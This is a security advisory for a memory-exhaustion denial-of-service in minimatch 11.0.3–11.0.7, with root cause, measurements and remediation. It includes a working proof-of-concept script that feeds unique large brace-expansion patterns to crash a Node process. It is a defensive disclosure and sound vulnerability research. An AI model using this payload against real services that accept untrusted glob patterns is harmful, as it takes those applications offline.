GHSA-hqmv-qgp3-jx75: 
JavaScript vulnerability analysis and mitigation

Summary

minimatch 11.0.3 through 11.0.7 retain the 256 most recent compiled Minimatch objects in a module-level cache. The cache is bounded only by entry count; each object can retain up to 100,000 expanded pattern rows. An application that passes untrusted, unique patterns to the top-level minimatch() function can therefore be terminated with a few very small inputs.

Root cause

Commit 52d2aecceb71dae7f1b19675e74e044eb472c1e6 changed minimatch() to store each compiled object in a 256-entry Map. The key includes the complete pattern and options, so unique attacker-controlled patterns create distinct retained entries. There is no total cache-weight or per-entry expansion limit below the existing braceExpandMax default of 100,000. The cache first ships in 11.0.3. Version 11.0.1 is a confirmed negative control.

Proof of concept

Install minimatch 11.0.4, save as poc.mjs, and run with node --max-old-space-size=128 --expose-gc poc.mjs:

import { minimatch } from 'minimatch'
for (let i = 0; i < 4; i++) {
  const pattern = `{1..100000}/unique-${i}`
  minimatch('no-match', pattern, { optimizationLevel: 2 })
  global.gc()
  console.log(i + 1, process.memoryUsage())
}

On 11.0.4, the process terminates with:

FATAL ERROR: Ineffective mark-compacts near heap limit
Allocation failed - JavaScript heap out of memory

The same command exits normally on 11.0.1. With three calls and the normal heap limit, forced-GC heap grew from 4.36 MB to 112.27 MB and RSS from 50.9 MB to 262.7 MB. As a smaller repeated control, ten independent processes each compiled ten unique 5,000-expansion patterns. On 11.0.4 the cached top-level function retained a median 17,371,504 heap bytes after forced GC. The direct new Minimatch() control retained 234,000 bytes, and the 11.0.1 top-level function showed no measurable retained-heap growth.

Impact

Applications that accept attacker-controlled glob patterns and call the top-level minimatch() function can be crashed through memory exhaustion. Applications using only trusted patterns are not exposed. No confidentiality, integrity, filesystem, or code-execution impact is claimed. Confirmed affected: 11.0.3 through 11.0.7. No patched version is currently available.

Suggested remediation

Bound the cache by total retained weight or expansion count and do not cache large compiled patterns. Removing the global cache or making it opt-in for trusted patterns would also prevent the retention.

Duplicate review and disclosure

Public issues, pull requests, and advisories were searched for cache retention, OOM, braceExpandMax, and the 256-pattern cache. Issues #269 and #270 discuss caching performance but do not document this retention/OOM condition. OpenAI Codex assisted with source review, local reproduction, negative controls, version analysis, duplicate checks, and drafting. All tests were local; no external service was contacted. The account owner reviewed the evidence and explicitly authorized this private submission.